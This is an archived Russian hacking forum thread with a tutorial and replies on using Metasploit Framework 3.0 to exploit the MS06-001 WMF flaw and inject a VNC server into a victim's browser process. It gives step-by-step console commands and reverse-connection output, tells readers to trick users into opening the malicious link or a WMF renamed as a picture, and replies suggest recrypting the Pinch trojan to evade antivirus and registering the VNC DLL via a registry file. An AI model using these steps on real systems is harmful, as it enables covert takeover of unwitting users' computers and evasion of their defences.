PDA

Просмотр полной версии : TotalControl (учимся юзать VNC или Metaspoit Framework часть 5).


-=lebed=-
20.04.2007, 17:20
TotalControl (учимся юзать VNC или MSF 3.0 часть 5).
Предисловие.
Кто не знает что такое MSF 3.0 читайте статьи 1-4.
Долго ждали релиза Metasploit Framework 3.0 и наконец-то дождались!
Рекомендую к прочтению пользовательский мануал на русском, любезно переведённый n0ne. читать мануал (http://forum.antichat.ru/thread36887.html)
В релизе очень много изменений, по сравнению даже с версией 3.0 beta 3. Остановлюсь на нескольких главных:
1.) Все сплоиты переписаны на Ruby, самих сплоитов естественно больше, уже 186 (после апдейта).
2.) Сплоиты лежат в подпапках по типам целей (уязвимых систем, браузеров, сервисов и т.п), при использовании надо указывать полный путь (копипастим, после команды show exploits нужный сплоит, чтоб не набирать).
3.) Консоль перенесена полностью в веб-интерфейс и сделана на javascript.
4.) Добавлены многофункциональные начинки по механизму соединения: PassiveX, по функционалу: Meterpreter, Win32 DLL Injection, VNC сервера, также добавлены генераторы (обсфускаторы) кода сплоитов.
5.) Добавлена поддержка SOCKS и HTTP прокси (стабильна цепочка до 5 - говорят в мануале, но нам и одного анонимного хватит).
6.) Тут будут добавления...
Сразу скажу о главном недостатке: Так как используется интерпретатор Ruby+ эмуляция консоли в WEB-интерфейсе - наблюдаются ощутимые тормоза при работе в консоли. Для меня актуально, так как весь пакет у меня стоит ещё в добавок в гостевой ОС, но если вы поставите его в основную систему то наверно дискомфорта можете и не заметить. Виртуальная система по производительности соответствует Pentium-II-433 с 512 RAM - так, что обладатели старых компьютеров тоже могут ощутить
медленную работу в WEB-интерфейсе. Жаль, что не оставили просто консоль (может где-то и есть, надо просто покопаться).

1. Обзор необычных, продвинутых, многофунциональных начинок.
а) PassiveX - ну об этом типе начинок я не писал ещё, обратимся к ману и посмотрим, чем хорош этот тип начинки. Ага грузит произвольный элемент управления ActiveX. Начинки такого типа патчат реестр системы цели и заставляют взломанный процесс запустить браузер с URL, который соединится с Framework. Вообщем комп жертвы становится веб-сервером, который может принимать и отправляет запросы. Взломанная система загружает, регистрирует и исполняет ActiveX. Начальная начинка PassiveX, windows/xxx/reverse_http, поддерживает любой ActiveX. В дополнение к начальной начинке PassiveX модуля прилагаются ещё три (Meterpreter, Win32 DLL Injection, VNC сервер). Когда мы используем любую начинку этого типа, объект PassiveX будет эмулировать TCP соединение через HTTP GET и POST запросы. Это позволяет вести диалог с шеллом по HTTP трафику. Так как PassiveX использует браузер Internet Explorer для загрузки компонента AcitveX, он будет работать прямо через удаленный прокси, используя любую систему и настройки идентификации, которые были заранее сконфигурированы. Начинки PassiveX работают только на системах с установленным Inter Explorer 6.0 (не 5.5 и 7.0). Вообщем специфичный тип начинок, прокатит только, где есть Осёл 6.0. Хотя механизм очень интересен.

б) Meterpreter - ну я уже о нем писал в 4 части статей по MSF, тут всё остаётся так же. Скажу только, то, что это продвинутый шелл, который позволяет расширять свой функционал динамически, т. е. когда мы в нём, ну типа автоапдейта (обновляет сам себя). Ну немного повторюсь и рассмотрю подробнее этот тип начинок: делаем show payloads в консоли и смотрим:

windows/meterpreter/bind_tcp Windows Meterpreter, Bind TCP Stager - просто биндит порт Стадии
windows/meterpreter/reverse_http Windows Meterpreter, PassiveX Reverse HTTP Tunneling Stager Пассивно реверсивно туннелирует Стадию по HTTP-протоколу - вот он PassiveX - тип начинки. Прокатывает только с IE 6.0
windows/meterpreter/reverse_ord_tcp Windows Meterpreter, Reverse Ordinal TCP Stager реверсивный порядок TCP Стадии
windows/meterpreter/reverse_tcp Windows Meterpreter, Reverse TCP Stager просто реверс Стадия

Вобщем отличие как в способе соединения (имеем 3 шт. back-connect варианта начинки meterpreter) + 1 простой бинд порта. Туннелирование, как вы поняли, позволит нам обойти фильтрацию файрволов по типу трафика но если нет на целевой системе Осла - нам ничего не даст (см. описание механизма. соединения PassiveX выше). Вообщем на этом типе начинок, я останавливаться подробно не буду, так как было описано в предыдущей статье.

в) Win32 DLL Injection - Читающим статьи Криса Касперски должно быть известно такое название. Вобщем этот тип начинок способен внедрить в память любую DLL в комбинации с любым Win32 эксплоитом в память взломанного процесса. Эти начинки не записывают ничего на диск DLL'ка пишется прямо в память. Эта начинка была разработана Jarkko Tukulainen и Matt Miller и является одной из самых мощных техник взлома на сегодняшний день. Для создания DLL'ки, которая может быть использована с этой начинкой, используй любой девелоперский (разработческий) интерфейс и создай стандартный Win32 DLL. Этот DLL должен экспортировать функцию INIT, которая занимает один целочисленный аргумент, который содержит в себе дескриптор сокета, через который будет работать начинка. Когда процесс закончился, он должен вернуться и разрешить загрузчику выйти из процесса, согласно функции EXITFUNC. Ну да инжект рулит, внедрение в процесс, тут тебе и обход
файрволов и т. д. (правда если есть контроль компонентов то запалится). Вообщем делайте свою DLL и можете закинуть на комп жертвы! А можно и выбрать какую либо, например бажную и взломать уже через её повторно. :D . Я на этом подробно отсанавливаться не буду, так как больший интерес этот тип начинок представляет для тех, кто кодит и пишет свои dll.

г) VNC сервер - самое "вкусное" - это не что иное как удалённый рабочий стол с обычным привычным интерфейсом, таким как у сервера терминалов или Радмина! Тут используется механизм инжектирования dll во взломанный процесс (см. метод описанный выше). Но саму dll нам уже предоставили! Она и выполняет функции VNC-сервера - передаёт нам содержимое рабочего стола взломанного компа. Одна из первых DLL начинок был VNC сервер. Он был написан Matt Miller и основывался на RealVNC. Дополнительные модификации были сделаны для того, чтобы сервер мог работать со взломанным, неинтерактивным сетевым сервисом. Эта начинка позволяет получить доступ к рабочему столу взломанной системы, используя Win32 эксплоит. DLL'ка загружается в удаленный процесс, используя организованную загрузочную систему и слушает запросы VNC клиента на том же сокете, через который загружался DLL. Framework слушает локальный сокет VNC клиента и информацию о прокси через соединение начинки с сервером. VNC сервер будет пытаться получить полный доступ к рабочему столу. Если первая попытка завершается неудачей - он вызовет функцию RevertToSelf() и потом попробует получить доступ снова. Если опять неудача - он вернется в read-only режим. То есть в этом режиме мы сможем только просматривать содержимое рабочего стола (как режим view у Радмина) . Если получим полный доступ то VNC сервер запустит коммандную строку на рабочем столе с привилегиями взломанного сервиса. Это удобно, когда за компьютером сидит непривилегированный пользователь, а взломанный сервис имеет привилегии System. Если ни один пользователь не зашел в систему, или экран заблокирован, коммандная строка может быть использована для запуска explorer.exe-проводника.. Если пользователь блокирует экран во время использования или заходит другой пользователь, т.е. происходит смена экрана, то VNC сервер отключится от клиента. Есть несколько ситуаций, когда VNC-сервер не будет работать. Вообщем если переменные окружения взломанной системы имеют специфические значения, которые критичны для эксплоита или метода внедрения, то облом!

3. Практическое использование VNC-сервера (инжект vncdll.dll во взломанный процесс).
1. Запускаем пакет MSF. грузится долго у меня в гостевой ОС. Выключим KIS 6.0 чтоб не надоедал (проактивная защита)
2. Топаем на Вебсервер метасплоита, запускаем консоль.

Welcome to the Metasploit Web Console!





## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##


=[ msf v3.0
+ -- --=[ 186 exploits - 104 payloads
+ -- --=[ 17 encoders - 5 nops
=[ 33 aux


3. смотрим сплоиты...

>> show exploits


Exploits
========

Name Description
------- пропущено -----------
windows/browser/ms06_001_wmf_setabortproc Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution
windows/browser/ie_createobject Internet Explorer COM CreateObject Code Execution
windows/browser/ie_iscomponentinstalled Internet Explorer isComponentInstalled Overflow
---- пропущено -----

4. Выбираем WMF-сплоит...

use windows/browser/ms06_001_wmf_setabortproc

5. Смотрим инфу по нём:

info windows/browser/ms06_001_wmf_setabortproc


Name: Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution
Version: 4647
Platform: Windows
Privileged: No
License: Metasploit Framework License

Provided by:
hdm <hdm@metasploit.com>
san <san@xfocus.org>
O600KO78RUS <O600KO78RUS@unknown.ru>

Available targets:
Id Name
-- ----
0 Windows XP/2003/Vista Automatic

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 10.0.3.84 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
URIPATH no The URI to use for this exploit (default is random)

Payload information:
Space: 1220
Avoid: 1 characters

Description:
This module exploits a vulnerability in the GDI library included
with Windows XP and 2003. This vulnerability uses the 'Escape'
metafile function to execute arbitrary code through the SetAbortProc
procedure. This module generates a random WMF record stream for each
request.

References:
http://www.microsoft.com/technet/security/bulletin/MS06-001.mspx
http://www.securityfocus.com/bid/16074
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2005-4560
http://www.osvdb.org/21987
http://milw0rm.com/metasploit/111
http://www.microsoft.com/technet/security/advisory/912840.mspx
http://wvware.sourceforge.net/caolan/ora-wmf.html
http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt

6. Задаём необходимые параметры:

>> set LHOST 10.0.3.84

LHOST => 10.0.3.84

>> set URIPATH sploit

URIPATH => sploit

7. Смотрим начинки...

>> show payloads


Compatible payloads
===================

Name Description
-------------- пропущено -------------------------
Stager
windows/upexec/reverse_tcp Windows Upload/Execute, Reverse TCP Stager
windows/vncinject/bind_tcp Windows VNC Inject, Bind TCP Stager
windows/vncinject/reverse_http Windows VNC Inject, PassiveX Reverse HTTP Tunneling Stager
windows/vncinject/reverse_ord_tcp Windows VNC Inject, Reverse Ordinal TCP Stager
windows/vncinject/reverse_tcp Windows VNC Inject, Reverse TCP Stager

8. windows/vncinject/reverse_tcp - самое то, это и есть VNC сервер, который мы инжектируем во взломанный процесс. Выбираем это начинку:

>> set PAYLOAD windows/vncinject/reverse_tcp

PAYLOAD => windows/vncinject/reverse_tcp

9. Всё готово, можно коммандовать exploit!

>> exploit

Started reverse handler

Using URL: http://10.0.3.84:8080/sploit

Server started.

Exploit running as background job.

10. Впариваем ссылку на страницу, поднятую метасплоитом, которая будет эксплуатировать уязвимость системной библиотеки в обработке метафайлов.

Transmitting intermediate stager for over-sized stage...(89 bytes)

Sending stage (2834 bytes)

Sleeping before handling stage...

Uploading DLL (340049 bytes)...

Upload completed.

Starting local TCP relay on 127.0.0.1:5900...

Local TCP relay started.

Launched vnciewer in the background.

VNC Server session 1 opened (10.0.3.84:4444 -> 10.0.3.118:1052)

11. Ага, клиент попался... запустим VNCViewer из Tools и приконнектимся к взломанной машине.
Вот так мы взломали удалённо компьютер юзверя и получили удалённый рабочий стол с возможностью выполнения комманд. Примечательно, то что сервер VNC невиден в процессах, так как он исполнен в виде dll, которая инжектированна в взломанный процесc run32dll.exe - и он будет жить до тех пор, пока не грохнут родителя (run32dll.exe).

4. Заключение.
Вот так мы испытали технику инжектирования dll во взломанный процесс и удачно получили доступ к рабочему столу юзверя. Снял видео по взлому, кому интересно качать тут (55 метров в ахиве) (http://rapidshare.com/files/27458303/VNC-______.zip)

-=lebed=- (с) специально для Античат.

отдельное спасибо n0ne за перевод мануала MSF 3.0 (использовал инфу с его перевода мануала MSF 3.0)
Кстать n0ne, как там дела с переводом мана для разработчиков?

Slon
20.04.2007, 17:41
за статью +1

Ты кстати не знаешь, как это vnc inject замутить руками, имея только cmd шелл, ипользуя например ту же самую vncdll.dll

-=lebed=-
20.04.2007, 17:48
за статью +1

Ты кстати не знаешь, как это vnc inject замутить руками, имея только cmd шелл, ипользуя например ту же самую vncdll.dll
dll надо подгрузить к чему-то, к какому либо процессу. А нафиг так делать, я не монял, если есть шелл подгружай что хочешь, хоть VNC-сервер нормальный (не переделанный в dll). Вообщем как сделать через обычный шелл cmd - я пока не знаю, не уверен, что это возможно. Вот только если подменить какую стандарную dll, на эту...

Slon
20.04.2007, 17:56
Ну не только cmd шелл, еще файлы загружать в систему можно.
Просто я не особо шарю в таком, интересно было узнать, как написать exe-шник, который грузит в память эту dll-ку и запускает vnc. Просто есть фишки, которые через cmd шелл не сделаешь, а через vnc в самый раз

-=lebed=-
20.04.2007, 18:03
Ну не только cmd шелл, еще файлы загружать в систему можно.
Просто я не особо шарю в таком, интересно было узнать, как написать exe-шник, который грузит в память эту dll-ку и запускает vnc. Просто есть фишки, которые через cmd шелл не сделаешь, а через vnc в самый раз
Млин, а я про что тут писал? Про ПРОДВИНУТЫЕ НАЧИНКИ! Тут тебе и инжект и пассивХ и VNC-инжект!
Загрузить файлы в систему и исполнить exe - используй такую начинку (кликай по цифре 2 у меня в подписи и читай). А уж какой exe будет грузится с инжектом или нет - это другое дело, бери Пинча и грузи (тока перекриптуй хорошо, на сколько мне известно он инжект использует).

Slon
20.04.2007, 18:09
Я тут немного о другом спрашивал, а именно код программы которая при запуске будет грузить эту длл-ку в память (не используя маетасплоит)

-=lebed=-
23.04.2007, 11:50
Млин, снял видео по взлому по этой статье. 55 метров получилось в архиве! наверно из-за того, что 1280x1024 сделал, куда мона это хозяйство залить? Щас перекодирую, правда в качестве потеряю...

Alexsize
23.04.2007, 12:41
И опять таки сорри если не в тему, автор то старался, но видео уже есть на милворме.

-=lebed=-
23.04.2007, 12:48
И опять таки сорри если не в тему, автор то старался, но видео уже есть на милворме.
Там его много по MSF - я знаю, ссыли сам на него давал... чёт не могу найти норм конвертер, щас на рапиду залью видео...

-=lebed=-
23.04.2007, 13:32
Залил на Рапиду, качайте (линк в статье) или вот он http://rapidshare.com/files/27458303/VNC-______.zip

n0ne
27.04.2007, 01:45
Мануал постараюсь доделать до 13 мая, если не получица, то уже в июне. уже где-то 60% готово :) А за статью респект. мне понра :)

Benzin
09.05.2007, 17:25
Все ьы хорошо, если бы еще работало гладко, сам wmf файл у меня не загружается, осел блокирует его, и приходится самому открывать заблокированное окно и нажать Открыть.
Кстати когде я пробовал делать такую же фишку с трояном (начинка window/download_exec), то там тоже все работало, но подтвержадать надо вручную..., а если врубить Каспера или Фаер дак вообще шансов ноль..., малоэффективная вещь...

-=lebed=-
11.05.2007, 17:46
Все ьы хорошо, если бы еще работало гладко, сам wmf файл у меня не загружается, осел блокирует его, и приходится самому открывать заблокированное окно и нажать Открыть.
Кстати когде я пробовал делать такую же фишку с трояном (начинка window/download_exec), то там тоже все работало, но подтвержадать надо вручную..., а если врубить Каспера или Фаер дак вообще шансов ноль..., малоэффективная вещь...

А ты в курсе, что этот WMF файлик содержит и сам сплоит и начинку и его расширение можно переименовать в любое другое графическое (JPG, PNG, GIF) и он будет так же работать. Ну а впарить этот файл намного легче - так как он картинка. Что до антивирусов - конечно они палят паблик сплоит. Используй более свежие сплоиты...

-=lebed=-
25.05.2007, 15:21
Вообщем пробовал я локально поднять VNC-сервер состоящий из одной dll (vncdll.dll). Для этого я создал reg-файл следующего содержания (для того чтоб dll подгружалась, как расширение основной оболочки):

Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\CLSID\{EBDF1F20-C829-9999-8233-0020AF3E97A9}\InProcServer32]
@="C:\\WINDOWS\\system32\\vncdll.dll"
"ThreadingModel"="Apartment"

[HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\Vn c]
@="{EBDF1F20-C829-9999-8233-0020AF3E97A9}"

[HKEY_CLASSES_ROOT\Directory\shellex\ContextMenuHan dlers\Vnc]
@="{EBDF1F20-C829-9999-8233-0020AF3E97A9}"

Положил dll в system32, проверил - dll подгрузилась к Total Commander, но порт не открылся, соответственно нет коннекта вьювером. В случае, если пользоваться MSF - то dll-ка успешно инжектируется во взломанный процесс и всё работает. Вообщем как поднять полноценный удалённый рабочий стол с помощью этой dll ? В чём трабл?

Slon
26.05.2007, 12:10
Хоел спросит у тебя о том же. Может какая-то их Export-функций отвечает за поднятие серваера. Я пробовал вызвать init без параметров. Открылать синее окно cmd :) Но порт не слушаеться. Lebed, появились какие-нибудь идеи за это время?

satana8920
26.05.2007, 17:32
народ сори за ламерство конечно! Но я че то ваще ниче не понимаю кароч сделал я ядовитую ссылку впарил её пишет :

Sending stage (2834 bytes)
Sleeping before handling stage...
Uploading DLL (340049 bytes)...
Upload completed.
Starting local TCP relay on 127.0.0.1:5900...
Local TCP relay started.
Launched vnciewer in the background.
VNC Server session 1 opened (10.195.4.62:4444 -> 10.244.7.84:3709)
Upload completed.
Starting local TCP relay on 127.0.0.1:5900...
Local TCP relay started.
Launched vnciewer in the background.

вроде все норм да?! а вот зайти никак не могу на шелл ! че делать?? если можно поподробнее плиззз
Да и как сделать что б антивирь не орал???

-=lebed=-
27.05.2007, 09:09
народ сори за ламерство конечно! Но я че то ваще ниче не понимаю кароч сделал я ядовитую ссылку впарил её пишет :

Sending stage (2834 bytes)

Sleeping before handling stage...

Uploading DLL (340049 bytes)...

Upload completed.

Starting local TCP relay on 127.0.0.1:5900...

Local TCP relay started.

Launched vnciewer in the background.

VNC Server session 1 opened (10.195.4.62:4444 -> 10.244.7.84:3709)

Upload completed.

Starting local TCP relay on 127.0.0.1:5900...

Local TCP relay started.

Launched vnciewer in the background.

вроде все норм да?! а вот зайти никак не могу на шелл ! че делать?? если можно поподробнее плиззз
Да и как сделать что б антивирь не орал???
1. sessions -i 1 в консоли набери.
2. Попробуй запустить вьювер в ручную и одключится к взломанному компу.
Launched vnciewer in the background. ~ Вьювер запущен на заднем плане..

Tzar
24.08.2007, 01:30
У меня накопилось несколько вопросов по 3ей версии. ответте пожайлуста.

1)

у меня адсл. вседствие чего адрес внешний\внутренний.

>> set LHOST 192.168.1.** (ввёл локальный адрес )

LHOST => 192.168.1.33

>> exploit

Started reverse handler
Using URL: http://192.168.1.33:8080/9mcvPzU4ex(эта ссылка не запустилась у человека который сидит у моего же провайдера)
Server started.
Exploit running as background job.

>> set LHOST 88.147.173.*** (попробовал ввести внешний IP)

LHOST => 88.147.173.190

>> exploit

Started reverse handler
Using URL: http://192.168.1.33:8080/EoUUDsz5V(всё равно прописываеться внутренний!)
Server started.
Exploit running as background job.

P/S. я слышал что возможно нужн овключить переадресацию NAT с внешнего на внутренний. только как это сделать?(ADSL zyxel 660 ru)

2)
>> set payload windows/shell/reverse_tcp

payload => windows/shell/reverse_tcp

msf exploit(ms06_001_wmf_setabortproc) >( в более ранних версиях вроде указывалась начинка. в 3 не указываеться?или я делаю что то не так?)


P/S Пробовал даже сам на себя заходить с IE6 (SP2)
c lдругой учётки. Файл скачался,но шела не появилось.Обьясните\помоги те пожайлуста.

p.p\s. тут вы сказали что файлик со сплойтом можн опереименовать..А есть параметр для задания его имени?

Tzar
26.08.2007, 21:59
так кто нибудь может ответить?

printer
30.03.2009, 04:46
Перезалей видео! пЛиzZZ

Ratlub
07.06.2009, 17:08
консоль включаеться нажатием Ctrl+O сам долго искал )